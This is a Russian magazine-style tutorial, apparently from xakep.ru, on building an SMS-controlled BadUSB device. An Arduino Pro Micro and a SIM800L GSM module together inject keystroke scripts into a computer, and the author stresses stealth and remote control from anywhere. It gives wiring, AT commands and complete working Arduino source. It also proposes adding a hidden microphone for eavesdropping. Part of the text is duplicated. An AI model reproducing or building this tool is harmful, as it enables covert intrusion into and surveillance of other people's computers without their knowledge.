Любой компьютер имеет огромную уязвимость — порты, к которым можно подключать устройства ввода. Это открывает пространство для атак типа BadUSB. Обычно это девайс, похожий на флешку, который имитирует клавиатуру и тайком вводит команды скрипта. Атакующий при этом находится неподалеку, но это накладывает ряд ограничений. В этой статье я покажу, как своими руками собрать BadUSB с модулем GSM и SIM-картой, чтобы удалиться можно было хоть в другую часть земного шара!
Статьи «Злой HID» и «Злая утка с дистанционным управлением» дают исчерпывающее руководство, как собрать и запрограммировать BadUSB и модифицировать его, добавив ESP8266. Модуль Wi-Fi предоставляет нам огромное преимущество в виде удаленного управления устройством и создания скриптов на лету. Бесспорно, управление через веб‑интерфейс — это крутая модификация. Но за удобство нужно платить, в этом случае скрытностью. Созданная устройством точка доступа может выдать факт работы устройства, а бетонные стены и малый радиус зоны Wi-Fi не дадут пользователю удалиться на расстояние больше ста метров от девайса (это в лучшем случае). В сегодняшней статье мы раздвинем физические границы использования BadUSB.
Нам понадобятся следующие вещи:
SIM800L
Arduino Pro Mirco
USB — microUSB
Теперь давай приступим к сборке самого устройства.
Антенна из комплекта SIM800L подойдет любая. Если это антенна‑спираль, то ее необходимо припаять к контакту NET модема. Чтобы сэкономить место, я выберу плоскую антенну и прикреплю ее к контакту IPX.
Питание модуля SIM800L очень капризно. Разрешенное напряжение составляет от 3,4 до 4,4 В. Поэтому, если ты используешь не Arduino Pro Micro или выходное напряжение не попадает в промежуток значений, указанный выше, советую ознакомиться со статьей Robotchip. В ней подробно описано, как корректно подвести питание к модулю SIM800L.
Собранное устройство
Останавливаться на сборке подробно я не буду. Уверенно орудуя паяльником, цепляем провода к обеим платам по схеме. Скажу лишь одно: если ты дальше собираешься продолжать свои эксперименты с BadUSB, то лучше воспользоваться макетной платой. Тогда сборка устройства превратится в игру с конструктором Lego. Достаточно будет припаять ножки к используемым контактам Arduino и SIM800L, установить девайсы на макетную плату и соединить их между собой проводами.
Определение Arduino в ОС Linux
Далее скачиваем Arduino IDE с официального сайта под свою ОС (в моем случае это Kali Linux). После установки необходимо выбрать устройство, которое мы будем программировать, и порт, к которому оно подключено. Сразу скажу, что, если ты используешь Linux, загрузить код на плату с первого раза может и не получиться. Тогда необходимо прописать в командной строке Linux следующее (где username — имя пользователя):
Выбор платы для правильной компиляции кода
Выбор порта, к которому подключено устройство
После подключения устройства к USB-порту модем ищет ближайшую базовую станцию оператора SIM-карты, которую ты используешь в SIM800L (в верхнем углу модуля SIM800L находится светодиод, который показывает состояние сотовой сети). Есть три состояния индикатора: мигает раз в 1 с — модуль работает, но еще не подключился к сотовой сети; мигает раз в 2 с — запрошенное соединение для передачи данных GPRS активно; мигает раз в 3 с — модуль установил связь с сотовой сетью и может отправлять или получать голосовые сообщения и SMS.
Общаться с модулем SIM800L можно через COM-порт с помощью текстовых команд. Их перечень огромен, поэтому приведу в качестве примера только те, которые будут задействованы.
Итак, приступим к созданию кода. Логически его можно разделить на две части. Первая — обработка данных, получаемых от модуля SIM800L, и «выуживание» полезной нагрузки из SMS. Вторая — эмуляция модулем Arduino нажатий клавиш, отправляемых через USB-порт компьютеру. Основу второй части составил код, написанный Spacehuhn и переработанный мной.
Глобальные переменные и подключаемые библиотеки:
Теперь настроим скорость, с которой модули обмениваются данными, инициализируем SIM800L и заявим, что наше устройство — это клавиатура.
Функцию loop() можно разбить на две части. Первая (if(lastUpdate + updatePeriod < millis()) — проверка на наличие непрочитанных сообщений, их обработка и отправка извлеченного скрипта в функцию parseSMS(). Вторая (if(SIM800.available())) выводит в монитор СOM-порта полученные от базовой станции данные, если модем что‑то отправил.
Функции parseSMS() включают в себя обработку номера телефона отправителя и сравнение его со списком разрешенных, вывод текста сообщения и номера в монитор COM-порта. Далее сам скрипт из сообщения отправляется в функцию Line().
Функция Line(String _line) принимает переменную msgbody, отправленную из функции parseSMS(), и записывает в переменную _line. Далее следует обработка префиксов команд: STRING - ; DELAY — пауза между командами; DEFAULTDELAY — пауза между командами по умолчанию; REM — комментарий; REPLAY — повторить. Выражения, которые идут после STRING, обрабатываются функцией press(String b).
Функция Press (String b) отправляет сигналы нажатия клавиш компьютеру в зависимости от содержания скрипта:
Функция sendATCommand(String cmd, bool waiting) упрощает взаимодействие с модулем SIM800L. В случае неудачной отправки команды модулю цикл повторяется заново.
Функция waitResponse() ожидает ответа и возвращает полученный от модема результат.
После этого отправляем тестовый скрипт с полезной нагрузкой в тексте SMS на SIM-карту модема. Например, так, как показано на следующих рисунках.
Полезная нагрузка, отправленная в SMS
Результат выполнения полезной нагрузки
Полный набор команд можно найти у SpacehuhnTech.
Какая полезная нагрузка будет в SMS, зависит только от твоего знания командных строк Linux и Windows, а также твоей изобретательности.
У SIM800L есть контакты Mic+ и Mic-. К ним можно припаять конденсаторный микрофон. В коде необходимо будет прописать дополнительную процедуру для обработки входящего звонка. Ты будешь слышать все, что происходит рядом с устройством.
Также можно включить обработку тонального набора, когда модем будет автоматически отвечать на звонок с твоего телефона. Это даст возможность выполнять скрипты, записанные тобой заранее в память устройства, при звонке с определенного телефона и нажатий определенной цифровой комбинации во время сеанса связи.
Автор NeDlyaMenya
xakep.ru
СТЕЛС — НАШЕ ВСЕ!
В основе BadUSB лежит микроконтроллер и память, необходимая для хранения кода. Код — это обычно скетч, написанный, например, на языке Arduino. В статье мы будем использовать именно его. Одна из причин его популярности — это широкий выбор библиотек. Они позволяют заметно сэкономить время при написании скетча.Статьи «Злой HID» и «Злая утка с дистанционным управлением» дают исчерпывающее руководство, как собрать и запрограммировать BadUSB и модифицировать его, добавив ESP8266. Модуль Wi-Fi предоставляет нам огромное преимущество в виде удаленного управления устройством и создания скриптов на лету. Бесспорно, управление через веб‑интерфейс — это крутая модификация. Но за удобство нужно платить, в этом случае скрытностью. Созданная устройством точка доступа может выдать факт работы устройства, а бетонные стены и малый радиус зоны Wi-Fi не дадут пользователю удалиться на расстояние больше ста метров от девайса (это в лучшем случае). В сегодняшней статье мы раздвинем физические границы использования BadUSB.
ВЫБОР ЖЕЛЕЗА
Что, если оборудовать Arduino модулем не ESP8266, а SIM800L? Конечно, суть BadUSB останется неизменной: устройство подключается к порту USB компьютера для выполнения команд скрипта. Однако отличие от простого BadUSB заключается в том, что после присоединения скрипт не выполнится. Его необходимо будет послать в виде SMS. Это даст преимущество не только в дистанции, c которой можно управлять устройством удаленно, но и в используемом оборудовании: хватит кнопочного телефона с SIM-картой. Чтобы еще немного снизить себестоимость устройства, можно заказать все необходимые детали с AliExpress.Нам понадобятся следующие вещи:
SIM800L
Arduino Pro Mirco
USB — microUSB
Теперь давай приступим к сборке самого устройства.
РАБОТАЕМ РУЧКАМИ
Схема соединения контактов двух плат проводами выглядит следующим образом:
Код:
ARDUINO <----> SIM800L
RAW <-----> VCC
GND <-----> GND
15 <-----> TXD
14 <-----> RXD
Питание модуля SIM800L очень капризно. Разрешенное напряжение составляет от 3,4 до 4,4 В. Поэтому, если ты используешь не Arduino Pro Micro или выходное напряжение не попадает в промежуток значений, указанный выше, советую ознакомиться со статьей Robotchip. В ней подробно описано, как корректно подвести питание к модулю SIM800L.
Собранное устройство
Останавливаться на сборке подробно я не буду. Уверенно орудуя паяльником, цепляем провода к обеим платам по схеме. Скажу лишь одно: если ты дальше собираешься продолжать свои эксперименты с BadUSB, то лучше воспользоваться макетной платой. Тогда сборка устройства превратится в игру с конструктором Lego. Достаточно будет припаять ножки к используемым контактам Arduino и SIM800L, установить девайсы на макетную плату и соединить их между собой проводами.
НАСТРАИВАЕМ ОКРУЖЕНИЕ
Linux или Windows? Решать тебе! Arduino IDE есть под обе операционные системы. В моем случае при подключении Arduino определилось как SparkFun LilyPad USB.
Определение Arduino в ОС Linux
Далее скачиваем Arduino IDE с официального сайта под свою ОС (в моем случае это Kali Linux). После установки необходимо выбрать устройство, которое мы будем программировать, и порт, к которому оно подключено. Сразу скажу, что, если ты используешь Linux, загрузить код на плату с первого раза может и не получиться. Тогда необходимо прописать в командной строке Linux следующее (где username — имя пользователя):
Код:
$ sudo usermod -a -G dialout username
Выбор платы для правильной компиляции кода
Выбор порта, к которому подключено устройство
После подключения устройства к USB-порту модем ищет ближайшую базовую станцию оператора SIM-карты, которую ты используешь в SIM800L (в верхнем углу модуля SIM800L находится светодиод, который показывает состояние сотовой сети). Есть три состояния индикатора: мигает раз в 1 с — модуль работает, но еще не подключился к сотовой сети; мигает раз в 2 с — запрошенное соединение для передачи данных GPRS активно; мигает раз в 3 с — модуль установил связь с сотовой сетью и может отправлять или получать голосовые сообщения и SMS.
ПРОГАЕМ МОЗГИ
В отличие от девайса с модулем Wi-Fi, в нашей версии BadUSB будет программироваться только модуль Arduino. SIM800L выступит как часть канала передачи, которая обрабатывает получаемые от базовой станции сигналы GSM. Результатом работы (в зависимости от отправленной модулю SIM800L команды) будет текстовая информация, выведенная в COM-порт. Рассмотрим основные команды библиотеки этого модуля, с которыми будем работать.Общаться с модулем SIM800L можно через COM-порт с помощью текстовых команд. Их перечень огромен, поэтому приведу в качестве примера только те, которые будут задействованы.
- AT — настройка скорости обмена данными;
- AT+CMGDA="DEL ALL" — удаление всех SMS из памяти симки;
- AT+CMGDA="DEL READ" — удаление всех прочитанных SMS;
- AT+CLIP=1 — включение AOH;
- AT+DDET=1 — включение возможности использования тонального набора;
- AT+CMGF=1;&W — включение текстового режима SMS с сохранением значения;
- AT+CMGL="REC UNREAD",1 — запрос на чтение непрочитанных SMS;
- AT+CMGR="index",1 — получение текста SMS по индексу (index);
- AT+CMGR="index" — отметить по индексу SMS как прочитанное.
Итак, приступим к созданию кода. Логически его можно разделить на две части. Первая — обработка данных, получаемых от модуля SIM800L, и «выуживание» полезной нагрузки из SMS. Вторая — эмуляция модулем Arduino нажатий клавиш, отправляемых через USB-порт компьютеру. Основу второй части составил код, написанный Spacehuhn и переработанный мной.
Глобальные переменные и подключаемые библиотеки:
Код:
#include <SoftwareSerial.h>
#include <Keyboard.h>
#define BAUD_RATE 57200
#define ExternSerial Serial1
SoftwareSerial SIM800(15, 14); // RX, TX — контакты передачи/приема данных на Arduino
String _response = ""; // Переменная для хранения ответа модуля
long lastUpdate = millis(); // Время последнего обновления
long updatePeriod = 60000; // Проверять каждую минуту
String phones = "Твой_номер"; // Белый список телефонов
String bufferStr = "";
String last = "";
int defaultDelay = 0;
bool hasmsg = false; // Флаг наличия сообщений к удалению
Код:
void setup(){
Serial.begin(9600);
SIM800.begin(9600);
Serial.println("Start!");
ExternSerial.begin(BAUD_RATE);
Keyboard.begin();
sendATCommand("AT", true);
sendATCommand("AT+CMGDA="DEL ALL"", true);
sendATCommand("AT+CMGF=1;&W", true);
lastUpdate = millis();
}
Код:
void loop(){
if(lastUpdate + updatePeriod < millis()){
do{
_response = sendATCommand("AT+CMGL="REC UNREAD",1", true);
if(_response.indexOf("+CMGL: ") > -1){
int msgIndex = _response.substring(_response.indexOf("+CMGL: ") + 7, _response.indexOf(""REC UNREAD"", _response.indexOf("+CMGL: ")) - 1).toInt();
char i = 0;
do{
i++;
_response = sendATCommand("AT+CMGR=" + (String)msgIndex + ",1", true);
_response.trim();
if(_response.endsWith("OK")){
if(!hasmsg) hasmsg = true;
sendATCommand("AT+CMGR=" + (String)msgIndex, true);
sendATCommand("\n", true);
parseSMS(_response);
break;
}else{
Serial.println ("Error answer");
sendATCommand("\n", true);
}
} while (i < 10);
break;
}
else{
lastUpdate = millis();
if(hasmsg){
sendATCommand("AT+CMGDA="DEL READ"", true);
hasmsg = false;
}
break;
}
} while (1);
}
if(SIM800.available()){
_response = waitResponse();
_response.trim();
Serial.println(_response);
if(_response.indexOf("+CMTI:") > -1){
lastUpdate = millis() - updatePeriod;
}
}
if(Serial.available()){
SIM800.write(Serial.read());
};
//-----------------------------
if(ExternSerial.available()){
bufferStr = ExternSerial.readStringUntil("END");
Serial.println(bufferStr);
}
if(bufferStr.length() > 0){
bufferStr.replace("\r","\n");
bufferStr.replace("\n\n","\n");
while(bufferStr.length() > 0){
int latest_return = bufferStr.indexOf("\n");
if(latest_return == -1){
Serial.println("run: "+bufferStr);
Line(bufferStr);
bufferStr = "";
} else{
Serial.println("run: '"+bufferStr.substring(0, latest_return)+"'");
Line(bufferStr.substring(0, latest_return));
last=bufferStr.substring(0, latest_return);
bufferStr = bufferStr.substring(latest_return + 1);
}
}
bufferStr = "";
ExternSerial.write(0x99);
Serial.println("done");
}
}
Код:
void parseSMS(String msg){
String msgheader = "";
String msgbody = "";
String msgphone = "";
msg = msg.substring(msg.indexOf("+CMGR: "));
msgheader = msg.substring(0, msg.indexOf("\r"));
msgbody = msg.substring(msgheader.length() + 2);
msgbody = msgbody.substring(0, msgbody.lastIndexOf("OK"));
msgbody.trim();
int firstIndex = msgheader.indexOf("","") + 3;
int secondIndex = msgheader.indexOf("","", firstIndex);
msgphone = msgheader.substring(firstIndex, secondIndex);
Serial.println("Phone: " + msgphone);
Serial.println("Message: " + msgbody);
if(msgphone.length() > 6 && phones.indexOf(msgphone) > -1){
Line(msgbody);
}
else{
Serial.println("Unknown phonenumber");
}
}
Код:
void Line(String _line){
int firstSpace = _line.indexOf(" ");
if(firstSpace == -1) Press(_line);
else if(_line.substring(0,firstSpace) == "STRING"){
for(int i=firstSpace+1;i<_line.length();i++) Keyboard.write(_line[i]);
}
else if(_line.substring(0,firstSpace) == "DELAY"){
int delaytime = _line.substring(firstSpace + 1).toInt();
delay(delaytime);
}
else if(_line.substring(0,firstSpace) == "DEFAULTDELAY") defaultDelay = _line.substring(firstSpace + 1).toInt();
else if(_line.substring(0,firstSpace) == "REM"){}
else if(_line.substring(0,firstSpace) == "REPLAY"){
int replaynum = _line.substring(firstSpace + 1).toInt();
while(replaynum){
Line(last);
--replaynum;
}
}
else{
String remain = _line;
while(remain.length() > 0){
int latest_space = remain.indexOf(" ");
if(latest_space == -1){
Press(remain);
remain = "";
}
else{
Press(remain.substring(0, latest_space));
remain = remain.substring(latest_space + 1);
}
delay(5);
}
}
Keyboard.releaseAll();
delay(defaultDelay);
}
Код:
void Press(String b){
if(b.length() == 1) Keyboard.press(char(b[0]));
else if(b.equals("ENTER")) Keyboard.press(KEY_RETURN);
else if(b.equals("CTRL")) Keyboard.press(KEY_LEFT_CTRL);
else if(b.equals("SHIFT")) Keyboard.press(KEY_LEFT_SHIFT);
else if(b.equals("ALT")) Keyboard.press(KEY_LEFT_ALT);
else if(b.equals("GUI")) Keyboard.press(KEY_LEFT_GUI);
else if(b.equals("UP") || b.equals("UPARROW")) Keyboard.press(KEY_UP_ARROW);
else if(b.equals("DOWN") || b.equals("DOWNARROW")) Keyboard.press(KEY_DOWN_ARROW);
else if(b.equals("LEFT") || b.equals("LEFTARROW")) Keyboard.press(KEY_LEFT_ARROW);
else if(b.equals("RIGHT") || b.equals("RIGHTARROW")) Keyboard.press(KEY_RIGHT_ARROW);
else if(b.equals("DELETE")) Keyboard.press(KEY_DELETE);
else if(b.equals("PAGEUP")) Keyboard.press(KEY_PAGE_UP);
else if(b.equals("PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN);
else if(b.equals("HOME")) Keyboard.press(KEY_HOME);
else if(b.equals("ESC")) Keyboard.press(KEY_ESC);
else if(b.equals("INSERT")) Keyboard.press(KEY_INSERT);
else if(b.equals("TAB")) Keyboard.press(KEY_TAB);
else if(b.equals("END")) Keyboard.press(KEY_END);
else if(b.equals("CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK);
else if(b.equals("F1")) Keyboard.press(KEY_F1);
else if(b.equals("F2")) Keyboard.press(KEY_F2);
else if(b.equals("F3")) Keyboard.press(KEY_F3);
else if(b.equals("F4")) Keyboard.press(KEY_F4);
else if(b.equals("F5")) Keyboard.press(KEY_F5);
else if(b.equals("F6")) Keyboard.press(KEY_F6);
else if(b.equals("F7")) Keyboard.press(KEY_F7);
else if(b.equals("F8")) Keyboard.press(KEY_F8);
else if(b.equals("F9")) Keyboard.press(KEY_F9);
else if(b.equals("F10")) Keyboard.press(KEY_F10);
else if(b.equals("F11")) Keyboard.press(KEY_F11);
else if(b.equals("F12")) Keyboard.press(KEY_F12);
else if(b.equals("SPACE")) Keyboard.press(' ');
}
Код:
String sendATCommand(String cmd, bool waiting){
String _resp = "";
Serial.println(cmd);
SIM800.println(cmd);
if(waiting){
_resp = waitResponse();
if(_resp.startsWith(cmd)){
_resp = _resp.substring(_resp.indexOf("\r", cmd.length()) + 2);
}
Serial.println(_resp);
}
return _resp;
}
Код:
String waitResponse(){
String _resp = "";
long _timeout = millis() + 10000;
while (!SIM800.available() && millis() < _timeout){};
if(SIM800.available()){
_resp = SIM800.readString();
}
else{
Serial.println("Timeout...");
}
return _resp;
}
ТЕСТИРУЕМ ДЕВАЙС
Итак, настал момент истины! Цепляем устройство к USB-порту компьютера. Ждем, когда модем установит соединение с базовой станцией, — об этом свидетельствует мигающий раз в 3 с красный светодиод. Проверяем наличие обнаруженных устройств в ОС.После этого отправляем тестовый скрипт с полезной нагрузкой в тексте SMS на SIM-карту модема. Например, так, как показано на следующих рисунках.
Полезная нагрузка, отправленная в SMS
Результат выполнения полезной нагрузки
Полный набор команд можно найти у SpacehuhnTech.
Какая полезная нагрузка будет в SMS, зависит только от твоего знания командных строк Linux и Windows, а также твоей изобретательности.
ЧТО ДАЛЬШЕ?
Совершенству нет предела! Давай рассмотрим пару примеров того, как ты можешь улучшить устройство.У SIM800L есть контакты Mic+ и Mic-. К ним можно припаять конденсаторный микрофон. В коде необходимо будет прописать дополнительную процедуру для обработки входящего звонка. Ты будешь слышать все, что происходит рядом с устройством.
Также можно включить обработку тонального набора, когда модем будет автоматически отвечать на звонок с твоего телефона. Это даст возможность выполнять скрипты, записанные тобой заранее в память устройства, при звонке с определенного телефона и нажатий определенной цифровой комбинации во время сеанса связи.
ВЫВОД
Что ж, хотелось бы сказать, что в таких устройствах нет ничего сложного: компании предлагают уже готовые модули, позволяющие работать с ними, как с Lego, программирование в большинстве случаев сводится к использованию языков высокого уровня, а комьюнити практически всегда делится своими наработками и гайдами. Нужны только идея и твоя фантазия, и тогда ты сможешь собрать что‑то классное.Автор NeDlyaMenya